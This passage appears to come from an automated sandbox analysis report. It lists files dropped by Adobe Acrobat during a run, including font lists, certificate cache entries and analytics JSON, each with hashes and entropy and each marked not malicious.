Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklchDVltfllXlE/HT8k/4ljNNX8RolJuRdxLlGB9lQRYwpDdt:kKFhDPeT824lRNMa8RdWBwRd
MD5:	0FEE4B6363ADDCE804D38847E77C1192
SHA1:	E22EFA6255C704A37CA33B9B2086B2F244A0B878
SHA-256:	6026A15A9698B02F8A83E226958DD0556A634A576AF93F92689B9050A59FCC3E
SHA-512:	B23DB51CBC62BDE654F8E0922DC906C92B8C2F6D4D7F260B95C4B30ED97DD80A2E440F2B0EC3E97CB5719C9680F9C97FFE77B29FFB5E46099A05EFFFF36EF07A
Malicious:	false
Preview:	p...... ..........Z..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7072

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.361117648436541
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJM3g98kUwPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGMbLUkee9
MD5:	8C42BAD4C8B2A8B06F0A8D17AD1552C5
SHA1:	9C5BF986C655103D78856ACB24546963E40068FC
SHA-256:	9F1376E7BA105733D8A1D5FE33E6656C3BBEC4FA05CA21D398E21F1132356E63
SHA-512:	C2B03D28B0EA54977244A6A1E5A626C2DFE519DDBF318397E6DED9F99658346D1A59B9998AC9DE52C31C0141895D369C60E2DAAD4BFEEB2E93B44047869952A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.313584406021708
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJfBoTfXpnrPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGWTfXcUkee9
MD5:	EEB96D8F80C282A6522CC5D17D1727D2
SHA1:	6EB47F9ACA375D542C954E0BA98BE2C2714D86E2
SHA-256:	1D7878D88C6A9E9C5AC738C97A091E75010A4CDC5FA7567EA76C5F885B84444F
SHA-512:	8E61E14A95FE9FDD2C3A58654E2EA1C7CE42C222D8DE0003720909E77C0F02C38E717B4E170D927D9B4D98F3FA2F383B7B09F4BE4A4BFFE7C53FAC58BD8E8564
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.292475258632465
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJfBD2G6UpnrPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGR22cUkee9
MD5:	C2E9FC8EB8250C8BC73C3BB050CB3033
SHA1:	018F98E7C8FD6347BF9F732AA2A94D4E27FFC915
SHA-256:	34F8432E69618EAAA76A01F3310EF3806BE6B8C7F2366AB0F35F0CD2631D1D01
SHA-512:	ABE9AFCB7472747FFD9EDAFEED429A76DACA82AA256DA2D5767AF1A08C72399DD736B91A3C9859EE5D9BDC3B7BBDC6D1CBFA3148A3A5BFEC44A86384BC72A639
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.348049356811327
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJfPmwrPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGH56Ukee9
MD5:	D6763B861AA5145D21CDB63CC550A2C1
SHA1:	098C3D6D819D2114A071DBB32E4644F525D9D122
SHA-256:	3971B7A87C92A899F509ED80FAE8CAF0064533C7B4006342C714D76D1B0B6402
SHA-512:	B927CD3016302FF8481B85FA9649287D80036A4830119A737AAA7C5BAAFFE960FA518643279EEC3285D44CB8F6B53724BCB4676D50E68D5150387800AE4C9B52
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691887275455635
Encrypted:	false
SSDEEP:	24:Yv6XBwJ7VWzvvpLgE9cQx8LennAvzBvkn0RCmK8czOCCS7:YvEw/Onhgy6SAFv5Ah8cv/7
MD5:	338708F67A8AD3FC0DD96CA8116313D1
SHA1:	3217A117FDEE658E073D81F6A155BAF6390C8DC8
SHA-256:	5B8C986B53AA0D4DE1F1B6984E8E1AED3AA54E7DF6A5CCEC053F28952110F0B0
SHA-512:	D6ED4D5C4BCAD8C55E8301BC534E80143F7834F7DA9E753E827CBA32E108E366B1B9923A92D452D18CCE769CEDF29B13B5BAD7B3825F78458952C34D103816CF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.295243540234094
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJf8dPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGU8Ukee9
MD5:	8FD890BE63CAED50510299F89BCA55C7
SHA1:	A210136FFEC2E8E5DFB4BA305BEAD6AFAC3A8E35
SHA-256:	881CCE90B6B03B11BC5C23040980751F13BD5BD04B673BCD4384664D6000696C
SHA-512:	E9ADC2D688A324F2BD40D187EFD8876732C23B53B07545AAFCD1F7F7FA96DEFB5D1D56B32C0F27E0521681D377B6DFB923E1F6B15E3C3559D6918696989CF59B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.300618425444712
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJfQ1rPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGY16Ukee9
MD5:	5613B726E2362BF9EC07C24531E1D7D0
SHA1:	CC5F5766A12A0C2C536F7CA38B30C6ADA481E590
SHA-256:	31A78A99D2E86AD52DF56CFFA2E45049B041E57451FC9D2A21302EAD1D9BB45A
SHA-512:	2F88D833521E8ED2D943489466C6CF43602AC253938C91D916FEB4777735E549A943317E23E51B900839CCDEB2AB722DB7BA72894D92E623EEA6651144D811A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303490770162938
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJfFldPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGz8Ukee9
MD5:	482692780CE95B4FE15FE545C598A601
SHA1:	7B907F5E3EF2865E67A225463A90E3B51B11E70A
SHA-256:	C59511BDEBD096FA9BD19A9FCEC7E5F27FC803A0155AD3E368476DE5E2CED394
SHA-512:	1BAD76A03DC79A771C714C82A9B669C7E1CBC96DFCDF86DB4D4BBFB41E6349721523901B3FA305F07921E5B22D37FA0740536760D0D58A331D01B9EF568B9961
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.319644767877609
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJfzdPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGb8Ukee9
MD5:	013DE36FA019544A3CEBE6F2A5CD3479
SHA1:	4202DD46BFBB33A8B76CC3E1256D80027C8C33EC
SHA-256:	6BE5CC15FC59F7E5E9ED4E4003886B59BC6DE9C3028A8EBA382B75F795A1704F
SHA-512:	EF4FD6C0EFDFDD6F685436035C568B2542DCCCA502BC24685AF09FE7D8AC8A7B4684F7F7A3BB31F6947896B4B4CA698FD7081E14E89517810B61AA6C2DC3BBCC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3010843900203435
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJfYdPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGg8Ukee9
MD5:	3DC6B6AAF7F9E85739D62D33EC234BE7
SHA1:	97B2E8839B55BA2E7DF510829241DA67F291A7EC
SHA-256:	C85624F7836D38392A61310F7682B79C2B800D2062609AFB8B0ECB7EE1199C6B
SHA-512:	D69ECE86B88ACC155233C5ABCC94A4882510BBF632D8608BA654BCB79C27A886A4E4174FA16D35F437A7B9E4CEA576A2442ABA81F259ED6C5C61095F410C9A32
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.286836152683774
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJf+dPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OG28Ukee9
MD5:	E1550C7A488609DC4307833B19731C15
SHA1:	F20803F9BC903F91B68D24133423358A71400B52
SHA-256:	F43D0E210FEC2A44ABDA972E60EC8D4415EAA5628E86D39D1644EE1F7374113F
SHA-512:	E77EF3B0CF940CC523ACF7464FAC58AE8FF639C4B67CC0B1652933F0D57521A84DE1BC846AD356AF0F8AA029A5AC748CA6577FFAC5A1B376FAB298D4B2DB0D2C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.284624034841833
Encrypted:	false
SSDEEP:	6:YEQXJ2HXBSdrGuHu27EUuW5BnVoZcg1vRcR0Y0/3xoAvJfbPtdPeUkwRe9:YvXKXBwJ7EUpBWZc0v7OGDV8Ukee9
MD5:	F574283E54B2DDC409B9413A4EEF0B9C
SHA1:	F6F2D9312F5D3D452973A8682B5363894CDC24DF
SHA-256:	BA5C9514429832762CCD272B2EFA300109E1BB7F67567DA5D45C0D670A868747
SHA-512:	F15381B8E7C90735763A4E3D8D6D31D7BC2F8B32CEEBE5AB32BBDD8B11A0F29E2209178D75BF79AF443DEBD7D54D5B92C76C7F225AAB9FD5598F1EAA9870444A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"678d80d7-6b5a-4541-8a11-72aaf5a55830","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736742807307,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.29013046514264
Encrypted:	false
